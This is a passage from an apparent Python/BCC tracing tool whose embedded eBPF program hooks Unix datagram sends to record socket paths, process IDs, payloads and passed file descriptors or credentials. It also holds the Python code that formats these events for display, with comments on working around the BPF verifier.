789 | bpf_probe_read(&cmsg, sizeof(struct cmsghdr), _cmsg); 790 | 791 | //note: we expand out the macro as such because we are not actually 792 | // making full copies, but some of the math is done on the actual 793 | // addresses. 794 | // if (!CMSG_OK(...) { 795 | if (!(cmsg.cmsg_len >= sizeof(struct cmsghdr) 796 | && cmsg.cmsg_len <= (mhdr.msg_controllen - ((void*)_cmsg - mhdr.msg_control)) 797 | )) { 798 | if (cmsg.cmsg_len < sizeof(struct cmsghdr)) { 799 | n.error_code = CMSG_NOT_OK; 800 | n.error_msg = cmsg.cmsg_len; 801 | } else { 802 | n.error_code = CMSG_NOT_OK; 803 | n.error_msg = (mhdr.msg_controllen - ((void*)_cmsg - mhdr.msg_control)) - cmsg.cmsg_len; 804 | } 805 | 806 | goto pre_index_error; 807 | } 808 | 809 | if (process_cmsg(_cmsg, &cmsg, i, &n) != 0) { 810 | n.error_code = CMSG_BAD; 811 | n.error_msg = i; 812 | goto pre_index_error; 813 | } 814 | 815 | //note: when copying msghdr to stack, CMSG_NXTHDR doesn't directly trip 816 | // the validator, but the resulting cmsghdr* cannot meaningfully 817 | // be used w/o tripping the validator, even if you copy it to the 818 | // stack. the thing that seems to have really made the change is 819 | // using the cmsg_len from the cmsghdr copy on the stack. 820 | //_cmsg = CMSG_NXTHDR(&mhdr, _cmsg); 821 | _cmsg = (struct cmsghdr*)((void*)_cmsg + CMSG_ALIGN(cmsg.cmsg_len)); 822 | 823 | if ( (((void*)_cmsg)+1 - mhdr.msg_control) > mhdr.msg_controllen) { 824 | _cmsg = NULL; 825 | } 826 | } else { 827 | 828 | //if (_i == SIZE_MAX) { 829 | // _i = i; 830 | //} 831 | //break; 832 | } 833 | } 834 | 835 | //note: if there was another message when we stopped iterating, 836 | // mark it using the high bit of the type 837 | if (_cmsg != NULL) { 838 | u32 t = 0x80000000 | n.scm[ANCILLARY_COUNT-1].type; 839 | n.scm[ANCILLARY_COUNT-1].type = t; 840 | } 841 | //clear_scm(&n, _i); 842 | } 843 | 844 | 845 | size_t len = msg->msg_iter.iov->iov_len; 846 | void* base = msg->msg_iter.iov->iov_base; 847 | 848 | //note: reporting 0 length writes may identify ancillary data 849 | /*if (len == 0) { 850 | return 0; 851 | }*/ 852 | 853 | if (base == NULL) { 854 | n.error_code = IOVEC_BASE_NULL; 855 | n.error_msg = 0; 856 | goto pre_index_error; 857 | } 858 | 859 | size_t orig_len = len; 860 | 861 | if (len > BUFFER_SIZE) { 862 | //note: cannot be the same b/c of yet another incorrect validation check 863 | len = BUFFER_SIZE - 1; 864 | //len = BUFFER_SIZE; // works, but not chancing it 865 | } 866 | 867 | struct sync_t* sync = NULL; 868 | 869 | int key = 0; 870 | sync = sync_buf.lookup(&key); 871 | if (!sync) { 872 | return 0; 873 | } 874 | 875 | //note: we do this to force the compiler to generate a specific bytecode 876 | // implementation (short/fixed-size) that is accepted by the validator. 877 | // ideomatic code optimizes differently and is rejected. 878 | // 79 01 00 00 00 00 00 00 r1 = *(u64 *)(r0 + 0) 879 | // bf 13 00 00 00 00 00 00 r3 = r1 880 | // 07 03 00 00 01 00 00 00 r3 += 1 881 | // b7 02 00 00 XX XX XX XX r2 = N 882 | // 2d 12 01 00 00 00 00 00 if r2 > r1 goto +1 883 | // b7 03 00 00 01 00 00 00 r3 = 1 884 | // 7b 30 00 00 00 00 00 00 *(u64 *)(r0 + 0) = r3 885 | // 2d 12 01 00 00 00 00 00 if r2 > r1 goto +1 886 | // b7 01 00 00 00 00 00 00 r1 = 0 887 | 888 | nxt = 0; 889 | {{ratchet_switch}} 890 | n.index = nxt; 891 | 892 | data_t* entry = NULL; 893 | int _n = (int)nxt; 894 | entry = ring_buf.lookup(&_n); \ 895 | if (entry == NULL) { 896 | n.error_code = RINGBUF_ENTRY_NULL; 897 | n.error_msg = 0; 898 | goto pre_is_truncated_error; 899 | } 900 | if (entry->used) { 901 | n.error_code = NO_SLOTS_AVAILABLE; 902 | n.error_msg = _n; 903 | goto pre_is_truncated_error; 904 | } 905 | 906 | n.is_truncated = orig_len > len ? 1 : 0; 907 | int l = (int)len; 908 | if (l > 0) { 909 | entry->used = 1; 910 | copy_into_entry_buffer(entry, len, base, &n.is_truncated); 911 | } else { 912 | n.error_code = SIGNED_LEN_NEGATIVE; 913 | n.error_msg = 0; 914 | goto no_buffer_error; 915 | } 916 | 917 | n.len = len; 918 | n.error_code = 0; 919 | n.error_msg = 0; 920 | notify(&n, ctx); 921 | return 0; 922 | //goto end; 923 | 924 | pre_is_bound_error: 925 | n.is_bound = 0; 926 | 927 | pre_path_error: 928 | n.sun_path_len = 0; 929 | #if !defined(FILTER_UNIX) || defined(BEGINS_WITH) 930 | #pragma unroll 931 | for (size_t i=0; i < 14; i++) { 932 | n.u.fill[i] = 0; 933 | } 934 | #endif 935 | pre_file_error: 936 | n.sk_file = SIZE_MAX; 937 | n.peer_file = SIZE_MAX; 938 | 939 | clear_scm(&n, 0); 940 | pre_index_error: 941 | n.index = UINT32_MAX; 942 | pre_is_truncated_error: 943 | n.is_truncated = 0; 944 | no_buffer_error: 945 | n.len = UINT32_MAX; 946 | notify(&n, ctx); 947 | end: 948 | return 0; 949 | } 950 | 951 | int kprobe__unix_dgram_sendmsg(struct pt_regs *ctx, struct socket *sock, struct msghdr *msg){ 952 | notify_t n; 953 | {{notify_memset}} 954 | /*#pragma unroll 955 | for (size_t i=0; i < sizeof(n); i++) { 956 | ((char*)&n)[i] = 0; 957 | }*/ 958 | n.cpu = bpf_get_smp_processor_id(); 959 | n.type = SOCK_DGRAM; 960 | 961 | u32 nxt = UINT32_MAX; 962 | 963 | char* sun_path_ptr = NULL; 964 | 965 | { 966 | size_t pid_tgid = bpf_get_current_pid_tgid(); 967 | 968 | n.pid = (u32)(pid_tgid >> 32); 969 | n.peer_pid = 0xffffffff; 970 | } 971 | #ifdef EXCLUDE_PIDS 972 | if (is_excluded_pid(n.pid)) { 973 | return 0; 974 | } 975 | #endif 976 | 977 | struct sock* sk = sock->sk; 978 | 979 | if (sk == NULL){ 980 | n.error_code = SK_NULL; 981 | n.error_msg = 0; 982 | goto pre_is_bound_error; 983 | } 984 | 985 | if (sk->sk_family != AF_UNIX) { 986 | n.error_code = SK_NOT_UNIX; 987 | n.error_msg = 0; 988 | goto pre_is_bound_error; 989 | } 990 | 991 | struct unix_sock* us = unix_sk(sk); 992 | 993 | if (us == NULL){ 994 | n.error_code = SK_NULL; 995 | n.error_msg = 0; 996 | goto pre_is_bound_error; 997 | } 998 | 999 | struct sock* peer = us->peer; 1000 | 1001 | /*if (peer == NULL){ 1002 | n.error_code = SK_PEER_NULL; 1003 | n.error_msg = 0; 1004 | goto pre_is_bound_error; 1005 | } 1006 | 1007 | if (peer->sk_family != AF_UNIX) { 1008 | n.error_code = SK_PEER_NOT_UNIX; 1009 | n.error_msg = peer->sk_family; 1010 | goto pre_is_bound_error; 1011 | }*/ 1012 | 1013 | struct pid* peer_pid = sk->sk_peer_pid; 1014 | if (peer_pid != NULL) { 1015 | //n.peer_pid = pid_nr(peer_pid); 1016 | n.peer_pid = peer_pid->numbers[0].nr; 1017 | } 1018 | 1019 | #ifdef EXCLUDE_PIDS 1020 | if (is_excluded_pid(n.peer_pid)) { 1021 | return 0; 1022 | } 1023 | #endif 1024 | 1025 | #ifdef FILTER_PID 1026 | if (n.pid != FILTER_PID && n.peer_pid != FILTER_PID) { 1027 | return 0; 1028 | } 1029 | #elif defined INCLUDE_PIDS 1030 | if (!is_included_pid(n.pid) && !is_included_pid(n.peer_pid)) { 1031 | return 0; 1032 | } 1033 | #endif 1034 | 1035 | #if defined(FILTER_UNIX) && !defined(BEGINS_WITH) 1036 | char sun_path[UNIX_PATH_MAX+1]; 1037 | sun_path_ptr = sun_path; 1038 | #else 1039 | sun_path_ptr = n.u.sun_path; 1040 | #endif 1041 | 1042 | struct socket* sk_socket = sk->sk_socket; 1043 | if (sk_socket) { 1044 | n.sk_file = (uintptr_t) sk_socket->file; 1045 | } else { 1046 | n.sk_file = SIZE_MAX; 1047 | } 1048 | 1049 | sk_socket = peer->sk_socket; 1050 | if (sk_socket) { 1051 | n.peer_file = (uintptr_t) sk_socket->file; 1052 | } else { 1053 | n.peer_file = SIZE_MAX; 1054 | } 1055 | 1056 | //note: here there be dragons. 1057 | // beware "connected" dgrams, 1058 | // and their tricksy ways. 1059 | // 1060 | // the "normal" path here is that msg_namelen will contain a value. 1061 | // this is because for unconnected sockets, the default for datagrams, 1062 | // the data structure layout containing the sockaddr metadata is in 1063 | // the msghdr, which is the same for connect syscalls. the idea being 1064 | // that the first thing in the kernel to see sockaddr metadata in 1065 | // msghdr needs to add it to the socket itself. however, datagrams 1066 | // _can_ be connected, so that one could simply read/write the socket 1067 | // fd. basically nothing does this other than socketpair(2), which 1068 | // has blank a sun_path anyway. however, if one wants to send file 1069 | // descriptors over a datagram unix socket, the socket will need to 1070 | // be connected. this is arguably a limitation in the unix apis, as 1071 | // fds can only be send/received through sendmsg/recvmsg, which take 1072 | // a file descriptor and do not have a sendto/recvfrom-alike. in this 1073 | // case, one of the sockets may well have been bound to a path/abstract 1074 | // namespace key, and so we would then need to fetch the sockaddr 1075 | // metadata from the sockets themselves. 1076 | 1077 | int msg_namelen = msg->msg_namelen; 1078 | 1079 | char* orig_sun_path = NULL; 1080 | bool connected = msg_namelen == 0; 1081 | 1082 | if (!connected) { 1083 | n.is_bound = false; 1084 | 1085 | //note: There is something screwy about how this copy is done. 1086 | // If this assignment happens after orig_sun_path is set, 1087 | // orig_sun_path will be corrupted. 1088 | n.sun_path_len = msg->msg_namelen; 1089 | 1090 | void* msg_name = msg->msg_name; 1091 | struct sockaddr_un* sunaddr = (struct sockaddr_un*)msg_name; 1092 | orig_sun_path = &sunaddr->sun_path[0]; 1093 | 1094 | } else { 1095 | struct unix_sock* up = unix_sk(peer); 1096 | 1097 | struct unix_sock* other = NULL; 1098 | struct unix_sock* u = pick_sock(us, up, &other); 1099 | n.is_bound = (uintptr_t)us == (uintptr_t)u; 1100 | 1101 | //note: for whatever reason, in this if/else context, bcc has no idea how 1102 | // to handle dereferences, so we need to manually do _all_ of the 1103 | // bpf_probe_read calls ourselves. 1104 | 1105 | struct unix_address* addr = NULL; 1106 | bpf_probe_read(&addr, 1107 | sizeof(struct unix_address*), 1108 | (void*)u + offsetof(struct unix_sock, addr) 1109 | ); 1110 | 1111 | 1112 | int al = 0; 1113 | bpf_probe_read(&al, 1114 | sizeof(int), 1115 | (void*)addr + offsetof(struct unix_address, len) 1116 | ); 1117 | n.sun_path_len = al; 1118 | 1119 | size_t off1 = offsetof(struct unix_address, name); 1120 | size_t off2 = offsetof(struct sockaddr_un, sun_path); 1121 | char* nn = ((char*)addr) + off1 + off2; 1122 | orig_sun_path = nn; 1123 | } 1124 | 1125 | if (n.sun_path_len > UNIX_PATH_MAX + sizeof(short)) { 1126 | n.error_code = SUN_PATH_LEN_TOO_BIG; 1127 | n.error_msg = 0; 1128 | goto pre_path_error; 1129 | } else if (n.sun_path_len < sizeof(short)) { 1130 | //pass 1131 | } else { 1132 | n.sun_path_len -= sizeof(short); 1133 | } 1134 | 1135 | 1136 | //note: it's a bit of a waste to always copy the path to the stack, even if 1137 | // we aren't actually filtering on it. i've tried a few different ways 1138 | // to split up this logic across the ifdefs, but the main buffer copy 1139 | // always flags a `min value is negative, either use unsigned or 'var &= const'` 1140 | // check that has no basis in reality if we try to do a copy after 1141 | // the ring buffer entry checks, regardless of whether we copy the path 1142 | // onto the stack or directly into the entry. 1143 | 1144 | if (n.sun_path_len > 0) { 1145 | #if !defined(FILTER_UNIX) || defined(BEGINS_WITH) 1146 | n.u.fill[13] = 0; 1147 | #endif 1148 | 1149 | //note: assuming the common sendto flow, the hash has not actually been 1150 | // calculated by the kernel yet, so we can't rely on that and just 1151 | // check if the sun_path starts w/ a NUL. it's worth noting that 1152 | // right now, we may well receive garbage that the kernel would end 1153 | // up rejecting for various reasons. it also means that the sun_path 1154 | // length value from msghdr is not of the processed form it would be 1155 | // for a connected socket (where we usually discount 1 byte for 1156 | // path-based sockets). 1157 | char fst = *orig_sun_path; 1158 | bool abstract = fst == '\\0'; 1159 | if (connected && !abstract) { 1160 | if (n.sun_path_len > 0) { 1161 | n.sun_path_len -= 1; 1162 | } 1163 | } 1164 | bpf_probe_read(sun_path_ptr, UNIX_PATH_MAX, orig_sun_path); 1165 | 1166 | if (abstract) { 1167 | sun_path_ptr[0] = '@'; 1168 | } 1169 | sun_path_ptr[UNIX_PATH_MAX] = '\\0'; 1170 | } else { 1171 | #if !defined(FILTER_UNIX) || defined(BEGINS_WITH) 1172 | #pragma unroll 1173 | for (size_t i=0; i < 14; i++) { 1174 | n.u.fill[i] = 0; 1175 | } 1176 | #endif 1177 | } 1178 | 1179 | #ifdef FILTER_UNIX 1180 | if (!cmp_sun_path(sun_path_ptr, n.sun_path_len)) { 1181 | return 0; 1182 | } 1183 | #endif 1184 | 1185 | 1186 | //note: while it would be preferable to just null out the sections we don't 1187 | // use, the bpf validator is throwing a tantrum when we tried to do 1188 | // that. for now, we waste a bunch of extra writes to appease it. 1189 | clear_scm(&n, 0); 1190 | if (msg != NULL) { 1191 | struct msghdr mhdr; 1192 | bpf_probe_read((void*)&mhdr, sizeof(mhdr), (void*)msg); 1193 | struct cmsghdr *_cmsg = NULL; 1194 | _cmsg = cmsg_firsthdr_x((struct msghdr*)&mhdr); 1195 | 1196 | struct cmsghdr cmsg; 1197 | 1198 | #ifdef ANCILLARY 1199 | if (_cmsg == NULL){ 1200 | return 0; 1201 | } 1202 | #endif 1203 | 1204 | //size_t _i = SIZE_MAX; 1205 | #pragma unroll 1206 | for (size_t i = 0; i < ANCILLARY_COUNT; i++) { 1207 | if (_cmsg) { 1208 | bpf_probe_read(&cmsg, sizeof(struct cmsghdr), _cmsg); 1209 | 1210 | //note: we expand out the macro as such because we are not actually 1211 | // making full copies, but some of the math is done on the actual 1212 | // addresses. 1213 | // if (!CMSG_OK(...) { 1214 | if (!(cmsg.cmsg_len >= sizeof(struct cmsghdr) 1215 | && cmsg.cmsg_len <= (mhdr.msg_controllen - ((void*)_cmsg - mhdr.msg_control)) 1216 | )) { 1217 | if (cmsg.cmsg_len < sizeof(struct cmsghdr)) { 1218 | n.error_code = CMSG_NOT_OK; 1219 | n.error_msg = cmsg.cmsg_len; 1220 | } else { 1221 | n.error_code = CMSG_NOT_OK; 1222 | n.error_msg = (mhdr.msg_controllen - ((void*)_cmsg - mhdr.msg_control)) - cmsg.cmsg_len; 1223 | } 1224 | 1225 | goto pre_index_error; 1226 | } 1227 | 1228 | if (process_cmsg(_cmsg, &cmsg, i, &n) != 0) { 1229 | n.error_code = CMSG_BAD; 1230 | n.error_msg = i; 1231 | goto pre_index_error; 1232 | } 1233 | 1234 | //note: when copying msghdr to stack, CMSG_NXTHDR doesn't directly trip 1235 | // the validator, but the resulting cmsghdr* cannot meaningfully 1236 | // be used w/o tripping the validator, even if you copy it to the 1237 | // stack. the thing that seems to have really made the change is 1238 | // using the cmsg_len from the cmsghdr copy on the stack. 1239 | //_cmsg = CMSG_NXTHDR(&mhdr, _cmsg); 1240 | _cmsg = (struct cmsghdr*)((void*)_cmsg + CMSG_ALIGN(cmsg.cmsg_len)); 1241 | 1242 | if ( (((void*)_cmsg)+1 - mhdr.msg_control) > mhdr.msg_controllen) { 1243 | _cmsg = NULL; 1244 | } 1245 | } else { 1246 | 1247 | //if (_i == SIZE_MAX) { 1248 | // _i = i; 1249 | //} 1250 | //break; 1251 | } 1252 | } 1253 | 1254 | //note: if there was another message when we stopped iterating, 1255 | // mark it using the high bit of the type 1256 | if (_cmsg != NULL) { 1257 | u32 t = 0x80000000 | n.scm[ANCILLARY_COUNT-1].type; 1258 | n.scm[ANCILLARY_COUNT-1].type = t; 1259 | } 1260 | //clear_scm(&n, _i); 1261 | } 1262 | 1263 | 1264 | size_t len = msg->msg_iter.iov->iov_len; 1265 | void* base = msg->msg_iter.iov->iov_base; 1266 | 1267 | //note: reporting 0 length writes may identify ancillary data 1268 | /*if (len == 0) { 1269 | return 0; 1270 | }*/ 1271 | 1272 | if (base == NULL) { 1273 | n.error_code = IOVEC_BASE_NULL; 1274 | n.error_msg = 0; 1275 | goto pre_index_error; 1276 | } 1277 | 1278 | size_t orig_len = len; 1279 | 1280 | if (len > BUFFER_SIZE) { 1281 | //note: cannot be the same b/c of yet another incorrect validation check 1282 | len = BUFFER_SIZE - 1; 1283 | } 1284 | 1285 | struct sync_t* sync = NULL; 1286 | 1287 | int key = 0; 1288 | sync = sync_buf.lookup(&key); 1289 | if (!sync) { 1290 | return 0; 1291 | } 1292 | 1293 | //note: we do this to force the compiler to generate a specific bytecode 1294 | // implementation (short/fixed-size) that is accepted by the validator. 1295 | // ideomatic code optimizes differently and is rejected. 1296 | // 79 01 00 00 00 00 00 00 r1 = *(u64 *)(r0 + 0) 1297 | // bf 13 00 00 00 00 00 00 r3 = r1 1298 | // 07 03 00 00 01 00 00 00 r3 += 1 1299 | // b7 02 00 00 XX XX XX XX r2 = N 1300 | // 2d 12 01 00 00 00 00 00 if r2 > r1 goto +1 1301 | // b7 03 00 00 01 00 00 00 r3 = 1 1302 | // 7b 30 00 00 00 00 00 00 *(u64 *)(r0 + 0) = r3 1303 | // 2d 12 01 00 00 00 00 00 if r2 > r1 goto +1 1304 | // b7 01 00 00 00 00 00 00 r1 = 0 1305 | 1306 | nxt = 0; 1307 | {{ratchet_switch}} 1308 | n.index = nxt; 1309 | 1310 | data_t* entry = NULL; 1311 | int _n = (int)nxt; 1312 | entry = ring_buf.lookup(&_n); \ 1313 | if (entry == NULL) { 1314 | n.error_code = RINGBUF_ENTRY_NULL; 1315 | n.error_msg = 0; 1316 | goto pre_is_truncated_error; 1317 | } 1318 | if (entry->used) { 1319 | n.error_code = NO_SLOTS_AVAILABLE; 1320 | n.error_msg = _n; 1321 | goto pre_is_truncated_error; 1322 | } 1323 | 1324 | n.is_truncated = orig_len > len ? 1 : 0; 1325 | int l = (int)len; 1326 | if (l > 0) { 1327 | copy_into_entry_buffer(entry, len, base, &n.is_truncated); 1328 | entry->used = 1; 1329 | } else { 1330 | n.error_code = SIGNED_LEN_NEGATIVE; 1331 | n.error_msg = 0; 1332 | goto no_buffer_error; 1333 | } 1334 | 1335 | n.len = len; 1336 | n.error_code = 0; 1337 | n.error_msg = 0; 1338 | notify(&n, ctx); 1339 | return 0; 1340 | //goto end; 1341 | 1342 | pre_is_bound_error: 1343 | n.is_bound = 0; 1344 | 1345 | pre_path_error: 1346 | n.sun_path_len = 0; 1347 | #if !defined(FILTER_UNIX) || defined(BEGINS_WITH) 1348 | #pragma unroll 1349 | for (size_t i=0; i < 14; i++) { 1350 | n.u.fill[i] = 0; 1351 | } 1352 | #endif 1353 | pre_file_error: 1354 | n.sk_file = SIZE_MAX; 1355 | n.peer_file = SIZE_MAX; 1356 | 1357 | clear_scm(&n, 0); 1358 | pre_index_error: 1359 | n.index = UINT32_MAX; 1360 | pre_is_truncated_error: 1361 | n.is_truncated = 0; 1362 | no_buffer_error: 1363 | n.len = UINT32_MAX; 1364 | notify(&n, ctx); 1365 | end: 1366 | return 0; 1367 | } 1368 | 1369 | """ 1370 | text = render_code(code_template, format_args) 1371 | 1372 | if args.preprocessonly: 1373 | print(text) 1374 | sys.exit(0) 1375 | 1376 | #UNIX_PATH_MAX = 108 1377 | 1378 | class scm_rights(ctypes.Structure): 1379 | _fields_ = [ 1380 | ("fds", ctypes.c_int*args.scmrightscount), 1381 | ] 1382 | 1383 | class scm_credentials(ctypes.Structure): 1384 | _fields_ = [ 1385 | ("pid", ctypes.c_uint32), 1386 | ("uid", ctypes.c_uint32), 1387 | ("gid", ctypes.c_uint32), 1388 | ("pad", ctypes.c_uint32), 1389 | ] 1390 | 1391 | class scm_content(ctypes.Union): 1392 | _fields_ = [ 1393 | ("rights", scm_rights), 1394 | ("creds", scm_credentials), 1395 | ] 1396 | 1397 | class scm_data(ctypes.Structure): 1398 | _fields_ = [ 1399 | ("type", ctypes.c_uint32), 1400 | ("num", ctypes.c_uint32), 1401 | ("content", scm_content), 1402 | ] 1403 | 1404 | class notify_t(ctypes.Structure): 1405 | _fields_ = [ 1406 | ("cpu", ctypes.c_uint16), 1407 | ("type", ctypes.c_uint16), 1408 | ("index", ctypes.c_uint32), 1409 | ("sk_file", ctypes.c_size_t), 1410 | ("peer_file", ctypes.c_size_t), 1411 | ("pid", ctypes.c_uint32), 1412 | ("peer_pid", ctypes.c_uint32), 1413 | ("is_bound", ctypes.c_uint8), 1414 | ("is_truncated", ctypes.c_uint8), 1415 | ("sun_path_len", ctypes.c_uint8), 1416 | ("error_code", ctypes.c_uint8), 1417 | ("len", ctypes.c_uint32), 1418 | ("error_msg", ctypes.c_size_t), 1419 | ("scm_data", scm_data*args.ancillarycount), 1420 | ("sun_path", ctypes.c_size_t*14), 1421 | ] 1422 | 1423 | # TODO: convert to inline python 3 f-strings 1424 | # consider converting to % format string for performance in python 2 1425 | sun_path_template = '''\ 1426 | sun_path: {!r}, length {} 1427 | ''' 1428 | printed_template = '''\ 1429 | {} PID {}.0x{:x} ({}) > {}.0x{:x} ({}), length {}{} 1430 | ''' 1431 | written_template = '''\ 1432 | {} PID {}.0x{:x} ({}) > {}.0x{:x} ({}) 1433 | ''' 1434 | command_template = '''\ 1435 | command[{}]: {!r} 1436 | ''' 1437 | def format_printed_metadata(args, sun_path, ts, sock_type, is_bound, 1438 | pid, sk_file, command, 1439 | peer_pid, peer_file, peer_command, 1440 | data_len, data_is_truncated): 1441 | out_str = '' 1442 | if args.socket is not None and args.verbose: 1443 | # should have already been set 1444 | out_str += sun_path_template.format(sun_path, len(sun_path)) 1445 | elif args.socket is None: 1446 | out_str += sun_path_template.format(sun_path, len(sun_path)) 1447 | 1448 | sock_type_str = { 1: 'STREAM', 2: 'DGRAM' }[sock_type] 1449 | role = "S" if is_bound else "C" 1450 | peer_role = "S" if not is_bound else "C" 1451 | data_truncated_str = " (truncated)" if data_is_truncated else "" 1452 | 1453 | out_str += printed_template.format( 1454 | sock_type_str, pid, sk_file, role, 1455 | peer_pid, peer_file, peer_role, data_len, data_truncated_str) 1456 | 1457 | pid_str = str(pid) 1458 | peer_pid_str = str(peer_pid) 1459 | m = max(len(pid_str), len(peer_pid_str)) 1460 | 1461 | if args.verbose or ( 1462 | (len(args.pids) != 1 or args.pids[0] != pid) 1463 | and len(args.pairs) != 1 1464 | ): 1465 | out_str += command_template.format(pid_str.rjust(m), command) 1466 | if args.verbose or ( 1467 | (len(args.pids) != 1 or args.pids[0] != peer_pid) 1468 | and len(args.pairs) != 1 1469 | ): 1470 | out_str += command_template.format(peer_pid_str.rjust(m), peer_command) 1471 | return out_str 1472 | 1473 | def format_written_metadata(sun_path, sock_type, is_bound, 1474 | pid, sk_file, command, 1475 | peer_pid, peer_file, peer_command): 1476 | out_str = '' 1477 | out_str += sun_path_template.format(sun_path, len(sun_path)) 1478 | 1479 | sock_type_str = { 1: 'STREAM', 2: 'DGRAM' }[sock_type] 1480 | role = "S" if is_bound else "C" 1481 | peer_role = "S" if not is_bound else "C" 1482 | 1483 | out_str += written_template.format( 1484 | sock_type_str, pid, sk_file, role, 1485 | peer_pid, peer_file, peer_role) 1486 | 1487 | pid_str = str(pid) 1488 | peer_pid_str = str(peer_pid) 1489 | m = max(len(pid_str), len(peer_pid_str)) 1490 | 1491 | out_str += command_template.format(pid_str.rjust(m), command) 1492 | out_str += command_template.format(peer_pid_str.rjust(m), peer_command) 1493 | 1494 | return out_str 1495 | 1496 | def dump_stats(): 1497 | if not args.stats: 1498 | return 1499 | sys.stderr.write("\n\n") 1500 | sys.stderr.write("events_count: {}\n".format(events_count)) 1501 | sys.stderr.write("used_zero_count: {}\n".format(used_zero_count)) 1502 | sys.stderr.write("used_zero_queue: {}\n".format(used_zero_queue)) 1503 | sys.stderr.write("dropped_used_zero_count: {}\n".format(dropped_used_zero_count)) 1504 | sys.stderr.write("no_slots_count: {}\n".format(no_slots_count)) 1505 | 1506 | sys.stderr.write("\n") 1507 | 1508 | ancillary_preamble_template = 'ancillary data sent (attempted): {} CMSG{} observed{}\n' 1509 | scm_creds_template = ' SCM_CREDENTIALS: pid={} uid={} gid={}\n' 1510 | scm_rights_header = ' SCM_RIGHTS: ' 1511 | scm_rights_template_a = 'FD {}, {}\n' 1512 | scm_rights_template_b = ' FD {}, {}\n' 1513 | scm_rights_template_c = '(truncated)\n' 1514 | scm_rights_template_d = ' (truncated)\n' 1515 | def handle_ancillary_data(event, pid): 1516 | out_str = '' 1517 | id_map = {} 1518 | cmsg_count = 0 1519 | 1520 | had_scm_rights_header = False 1521 | for scm in event.scm_data: 1522 | scm_type = int(scm.type) & 0xffff 1523 | if scm_type == 0: 1524 | break 1525 | elif scm_type == 1: # SCM_RIGHTS 1526 | cmsg_count += 1 1527 | out_str += ' SCM_RIGHTS: ' 1528 | scm_fds = [] 1529 | num = int(scm.num) 1530 | fd_cap = len(scm.content.rights.fds) 1531 | fd_trunc = False 1532 | if num > fd_cap: 1533 | fd_trunc = True 1534 | for i in range(min(num, fd_cap)): 1535 | scm_fds.append(int(scm.content.rights.fds[i])) 1536 | for scm_fd in scm_fds: 1537 | proc_path = "/proc/{}/fd/{}".format(pid, scm_fd) 1538 | proc_link = None 1539 | if proc_path in fd_map: 1540 | proc_link = fd_map[proc_path] 1541 | else: 1542 | try: 1543 | fd_map[proc_path] = proc_link = repr(os.readlink(proc_path))[1:] 1544 | except OSError: 1545 | proc_link = "(failed to read proc link)" 1546 | if not had_scm_rights_header: 1547 | out_str += scm_rights_template_a.format(scm_fd, proc_link) 1548 | had_scm_rights_header = True 1549 | else: 1550 | out_str += scm_rights_template_b.format(scm_fd, proc_link) 1551 | if fd_trunc: 1552 | if not had_scm_rights_header: 1553 | out_str += scm_rights_template_c 1554 | else: 1555 | out_str += scm_rights_template_d 1556 | had_scm_rights_header = False 1557 | elif scm_type == 2: # SCM_CREDENTIALS 1558 | cmsg_count += 1 1559 | scm_pid = int(scm.content.creds.pid) 1560 | scm_uid = int(scm.content.creds.uid) 1561 | scm_gid = int(scm.content.creds.gid) 1562 | if scm_uid in id_map: 1563 | cred_ids = id_map[scm_uid] 1564 | else: 1565 | cred_ids = check_output(['id', str(scm_uid)], shell=False).strip() 1566 | cred_ids = [c.split('=') for c in cred_ids.split(' ')] 1567 | id_map[scm_uid] = cred_ids 1568 | 1569 | out_str += scm_creds_template.format( 1570 | scm_pid, cred_ids[0][1], cred_ids[1][1] 1571 | ) 1572 | else: 1573 | out_str += ' INVALID CMSG of type: 0x{:x}\n'.format(scm_type) 1574 | 1575 | if cmsg_count > 0: 1576 | plural = '' if cmsg_count == 1 else "s" 1577 | trunc = '' 1578 | if event.scm_data[args.ancillarycount-1].type & 0xffff0000 != 0: 1579 | trunc = ' (truncated)' 1580 | return ancillary_preamble_template.format(cmsg_count, plural, trunc) + out_str 1581 | return '' 1582 | 1583 | 1584 | def print_event(cpu, data, size, rec=0): 1585 | global events_count 1586 | global used_zero_count 1587 | global used_zero_queue 1588 | global dropped_used_zero_count 1589 | global no_slots_count 1590 | 1591 | if rec > args.retry: 1592 | dropped_used_zero_count += 1 1593 | return -1 1594 | 1595 | # will likely cause events to print out of order 1596 | # todo: add metadata to buffer_t to confirm it matches the retried event 1597 | if not args.dir: 1598 | if len(used_zero_queue) > 0: 1599 | copy_queue = used_zero_queue 1600 | used_zero_queue = [] 1601 | for event in copy_queue: 1602 | events_count -= 1 1603 | #used_zero_count -= 1 1604 | r = print_event(*event) 1605 | if r == None: 1606 | used_zero_count -= 1 1607 | 1608 | events_count += 1 1609 | try: 1610 | event = ctypes.cast(data, ctypes.POINTER(notify_t)).contents 1611 | sock_type = int(event.type) 1612 | if sock_type not in [1, 2]: 1613 | if not args.dir: print("====") 1614 | sys.stderr.write("INVALID event.type: " + str(sock_type) + "\n") 1615 | return 1616 | 1617 | if args.socket is None or args.beginswith: 1618 | sun_path = ctypes.string_at(event.sun_path, event.sun_path_len) 1619 | else: 1620 | sun_path = args.socket 1621 | 1622 | # ideally, by the time we have ts, we'll also be using pcapng 1623 | # so we won't have to worry about writing metadata only once to disk 1624 | ts = 0 1625 | is_bound = event.is_bound 1626 | 1627 | peer_role = "server" if is_bound else "client" 1628 | 1629 | typ = { 1: 'SOCK_STREAM', 2: 'SOCK_DGRAM' }[sock_type] 1630 | idx = int(event.index) 1631 | if args.debug and rec == 0: 1632 | print("cpu: " + str(cpu) + ":" + str(event.cpu)) 1633 | print("idx: " + str(idx)) 1634 | 1635 | pid = event.pid 1636 | command = "(unknown)" 1637 | if args.verbose or (len(args.pids) != 1 or args.pids[0] != pid): 1638 | if pid in pid_map: 1639 | command = pid_map[pid] 1640 | else: 1641 | try: 1642 | proc = check_output(['ps', '-q', str(pid), '-o', 'args='], 1643 | shell=False, stderr=-2).strip() 1644 | except CalledProcessError as ex: 1645 | proc = str('(already terminated)') 1646 | 1647 | pid_map[pid] = proc 1648 | command = proc 1649 | 1650 | peer_pid = event.peer_pid 1651 | peer_command = "(unknown)" 1652 | if args.verbose or (len(args.pids) != 1 or args.pids[0] != peer_pid): 1653 | if peer_pid in pid_map: 1654 | peer_command = pid_map[peer_pid] 1655 | else: 1656 | try: 1657 | proc = check_output(['ps', '-q', str(peer_pid), '-o', 'args='], 1658 | shell=False, stderr=-2).strip() 1659 | except CalledProcessError as ex: 1660 | proc = str('(already terminated)') 1661 | pid_map[peer_pid] = proc 1662 | peer_command = proc 1663 | 1664 | error_code = int(event.error_code) 1665 | if error_code != 0: 1666 | metadata = format_printed_metadata( 1667 | args, sun_path, ts, sock_type, is_bound, 1668 | pid, event.sk_file, 